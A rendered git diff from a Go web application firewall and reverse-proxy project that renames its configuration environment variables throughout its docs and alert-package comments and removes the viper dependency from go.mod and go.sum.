- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
`off`.
|
||||||
size or `off`.
|
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
`off`.
|
||||||
size or `off`.
|
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
|
||||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
send its request line and headers. It then also bounds, from the end of the
|
||||||
take to send its request line and headers. It then also bounds, from the end
|
headers, the time until the app has been sent the whole request. A time or
|
||||||
of the headers, the time until the app has been sent the whole request. A time
|
`off`.
|
||||||
or `off`.
|
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
from the end of the request to its last byte reaching the visitor. An answer
|
||||||
take, from the end of the request to its last byte reaching the visitor. An
|
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
|
||||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
status and headers of the app's answer. A time or `off`.
|
||||||
do the status and headers of the app's answer. A time or `off`.
|
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||||
`:9000`.
|
`https` URL with a host and an optional port, and nothing more.
|
||||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
|
||||||
`http` or `https` URL with a host and an optional port, and nothing more.
|
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
|
||||||
- `SWW_RPROXY_TRUSTED_PROXIES` (default
|
nothing. A client outside these netblocks cannot claim another address. Where
|
||||||
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
other containers reach `rproxy` directly, or visitors on a private network
|
||||||
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
reach traefik, they can name another address in the header. Narrowing the
|
||||||
outside these netblocks cannot claim another address. Where other containers
|
setting to traefik's own network closes that gap.
|
||||||
reach `rproxy` directly, or visitors on a private network reach traefik, they
|
|
||||||
can name another address in the header. Narrowing the setting to traefik's own
|
|
||||||
network closes that gap.
|
|
||||||
|
|
||||||
## The image's command
|
## The image's command
|
||||||
|
|
||||||
@@ -466,14 +458,14 @@ It cannot be given as a file.
|
|||||||
|
|
||||||
Nothing reads these names any more:
|
Nothing reads these names any more:
|
||||||
|
|
||||||
- `SWW_WAF_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
|
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||||
- `SWW_WAF_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
|
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||||
- `SWW_WAF_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
|
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||||
- `SWW_WAF_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
|
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||||
- `SWW_WAF_CLIENT_REQUEST_TIMEOUT` and `SWW_WAF_UPSTREAM_REQUEST_TIMEOUT` are
|
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
||||||
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
|
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||||
- `SWW_WAF_CLIENT_RESPONSE_TIMEOUT` and `SWW_WAF_UPSTREAM_RESPONSE_TIMEOUT` are
|
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||||
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||||
- `SWW_WAF_CLIENT_IDLE_TIMEOUT` and `SWW_WAF_CLIENT_REQUEST_HEADER_MAX_BYTES`
|
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
||||||
have no setting. `rproxy` closes a kept-open connection idle for 120 seconds,
|
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||||
and takes a request line and headers of at most 32 KiB.
|
takes a request line and headers of at most 32 KiB.
|
||||||
+10
-10
@@ -4,15 +4,15 @@ The JSON files `waf` keeps, and what each holds. "Persistent state" in
|
|||||||
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
||||||
top-level `version` of 1.
|
top-level `version` of 1.
|
||||||
|
|
||||||
- The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They
|
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
|
||||||
hold what cannot be fetched again, so back them up:
|
what cannot be fetched again, so back them up:
|
||||||
- `bans.json`;
|
- `bans.json`;
|
||||||
- `clients.json`;
|
- `clients.json`;
|
||||||
- `abuseipdb-checks-spent.json`;
|
- `abuseipdb-checks-spent.json`;
|
||||||
- `alerts.json`.
|
- `alerts.json`.
|
||||||
- The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They
|
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
||||||
hold answers from outside services, which are asked again when a file is lost,
|
answers from outside services, which are asked again when a file is lost, so
|
||||||
so the directory can be left out of backups:
|
the directory can be left out of backups:
|
||||||
- `lookups.json`;
|
- `lookups.json`;
|
||||||
- `lists.json`;
|
- `lists.json`;
|
||||||
- `dnsbl.json`;
|
- `dnsbl.json`;
|
||||||
@@ -21,8 +21,8 @@ top-level `version` of 1.
|
|||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
|
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||||
those `waf` made. Per entry:
|
`waf` made. Per entry:
|
||||||
|
|
||||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||||
@@ -146,10 +146,10 @@ A cache file. routewatch's answers from the last hour, one per line:
|
|||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
|
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||||
of disk writes a day.
|
disk writes a day.
|
||||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||||
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
|
|||||||
@@ -11,14 +11,12 @@ require (
|
|||||||
github.com/maxmind/mmdbwriter v1.2.0
|
github.com/maxmind/mmdbwriter v1.2.0
|
||||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||||
github.com/prometheus/client_golang v1.24.1
|
github.com/prometheus/client_golang v1.24.1
|
||||||
github.com/spf13/viper v1.21.0
|
|
||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
github.com/beorn7/perks v1.0.1 // indirect
|
github.com/beorn7/perks v1.0.1 // indirect
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||||
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
||||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
|
||||||
github.com/goccy/go-json v0.10.5 // indirect
|
github.com/goccy/go-json v0.10.5 // indirect
|
||||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
||||||
@@ -28,22 +26,14 @@ require (
|
|||||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||||
github.com/magefile/mage v1.17.0 // indirect
|
github.com/magefile/mage v1.17.0 // indirect
|
||||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||||
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
|
|
||||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
||||||
github.com/prometheus/client_model v0.6.2 // indirect
|
github.com/prometheus/client_model v0.6.2 // indirect
|
||||||
github.com/prometheus/common v0.70.1 // indirect
|
github.com/prometheus/common v0.70.1 // indirect
|
||||||
github.com/prometheus/procfs v0.21.1 // indirect
|
github.com/prometheus/procfs v0.21.1 // indirect
|
||||||
github.com/sagikazarmark/locafero v0.11.0 // indirect
|
|
||||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
|
|
||||||
github.com/spf13/afero v1.15.0 // indirect
|
|
||||||
github.com/spf13/cast v1.10.0 // indirect
|
|
||||||
github.com/spf13/pflag v1.0.10 // indirect
|
|
||||||
github.com/subosito/gotenv v1.6.0 // indirect
|
|
||||||
github.com/tidwall/gjson v1.18.0 // indirect
|
github.com/tidwall/gjson v1.18.0 // indirect
|
||||||
github.com/tidwall/match v1.1.1 // indirect
|
github.com/tidwall/match v1.1.1 // indirect
|
||||||
github.com/tidwall/pretty v1.2.1 // indirect
|
github.com/tidwall/pretty v1.2.1 // indirect
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||||
golang.org/x/net v0.60.0 // indirect
|
golang.org/x/net v0.60.0 // indirect
|
||||||
golang.org/x/sync v0.23.0 // indirect
|
golang.org/x/sync v0.23.0 // indirect
|
||||||
|
|||||||
@@ -16,12 +16,8 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
|
|||||||
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
||||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
||||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
||||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
|
||||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
|
||||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
|
||||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
|
||||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
||||||
@@ -42,10 +38,6 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
|
|||||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
||||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
|
||||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
|
||||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
|
||||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
|
||||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
||||||
@@ -70,24 +62,8 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
|
|||||||
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
||||||
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
||||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
|
||||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
|
||||||
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
|
|
||||||
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
|
|
||||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
|
|
||||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
|
|
||||||
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
|
|
||||||
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
|
|
||||||
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
|
|
||||||
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
|
|
||||||
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
|
||||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
|
||||||
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
|
|
||||||
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
|
|
||||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||||
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
|
||||||
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
|
||||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||||
|
|||||||
+86
-47
@@ -1,12 +1,12 @@
|
|||||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||||
// threshold, on a source that fails and on a file with an error to each
|
// threshold, on a source that fails and on a file with an error to each
|
||||||
// destination set: to the webhook
|
// destination set: to the webhook
|
||||||
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||||
// object" in docs/alerts.md describes, to the Slack incoming
|
// object" in docs/alerts.md describes, to the Slack incoming
|
||||||
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||||
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
|
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
||||||
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
|
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
||||||
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||||
// bounded queue of each destination's own, so that a destination that is
|
// bounded queue of each destination's own, so that a destination that is
|
||||||
// slow or unreachable holds up neither the others nor any request. The
|
// slow or unreachable holds up neither the others nor any request. The
|
||||||
// state is written to alerts.json and read from it by the state package.
|
// state is written to alerts.json and read from it by the state package.
|
||||||
@@ -34,7 +34,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
|
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
||||||
const (
|
const (
|
||||||
// EventBan is a ban sww made.
|
// EventBan is a ban sww made.
|
||||||
EventBan = "ban"
|
EventBan = "ban"
|
||||||
@@ -45,7 +45,7 @@ const (
|
|||||||
// threshold.
|
// threshold.
|
||||||
EventAnomaly = "anomaly"
|
EventAnomaly = "anomaly"
|
||||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
|
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||||
// detect mode.
|
// detect mode.
|
||||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||||
// EventReputationHit is a request whose client a blocklist, the
|
// EventReputationHit is a request whose client a blocklist, the
|
||||||
@@ -63,14 +63,14 @@ const (
|
|||||||
// - a replacement of the lookup database that cannot be read.
|
// - a replacement of the lookup database that cannot be read.
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
// back by the cooldowns dropped as it ends, which no alert let through
|
// back by the cooldowns dropped as it ends, which no alert let through
|
||||||
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
|
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
||||||
// those repeats. SWW_WAF_ALERT_EVENTS does not name it.
|
// those repeats. SWW_ALERT_EVENTS does not name it.
|
||||||
EventSummary = "summary"
|
EventSummary = "summary"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
|
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
||||||
// default.
|
// default.
|
||||||
func Events() []string {
|
func Events() []string {
|
||||||
return []string{
|
return []string{
|
||||||
@@ -82,12 +82,12 @@ func Events() []string {
|
|||||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||||
// name them.
|
// name them.
|
||||||
const (
|
const (
|
||||||
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
|
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
||||||
DestinationWebhook = "webhook"
|
DestinationWebhook = "webhook"
|
||||||
// DestinationSlack is the Slack incoming webhook
|
// DestinationSlack is the Slack incoming webhook
|
||||||
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
|
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
||||||
DestinationSlack = "slack"
|
DestinationSlack = "slack"
|
||||||
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
|
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
||||||
DestinationNtfy = "ntfy"
|
DestinationNtfy = "ntfy"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -123,26 +123,26 @@ var (
|
|||||||
// NtfyURL set, no alert is sent.
|
// NtfyURL set, no alert is sent.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// WebhookURL is where each alert is posted as JSON
|
// WebhookURL is where each alert is posted as JSON
|
||||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||||
WebhookURL *url.URL
|
WebhookURL *url.URL
|
||||||
WebhookHeaders http.Header
|
WebhookHeaders http.Header
|
||||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||||
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||||
SlackURL *url.URL
|
SlackURL *url.URL
|
||||||
// NtfyURL is the ntfy topic each alert is published to
|
// NtfyURL is the ntfy topic each alert is published to
|
||||||
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||||
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
|
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
||||||
NtfyURL *url.URL
|
NtfyURL *url.URL
|
||||||
NtfyToken string
|
NtfyToken string
|
||||||
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
|
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
||||||
Events []string
|
Events []string
|
||||||
// Cooldown is how long a repeat of an alert is held back
|
// Cooldown is how long a repeat of an alert is held back
|
||||||
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||||
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
|
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||||
Cooldown time.Duration
|
Cooldown time.Duration
|
||||||
MaxPerHour int
|
MaxPerHour int
|
||||||
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
|
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
||||||
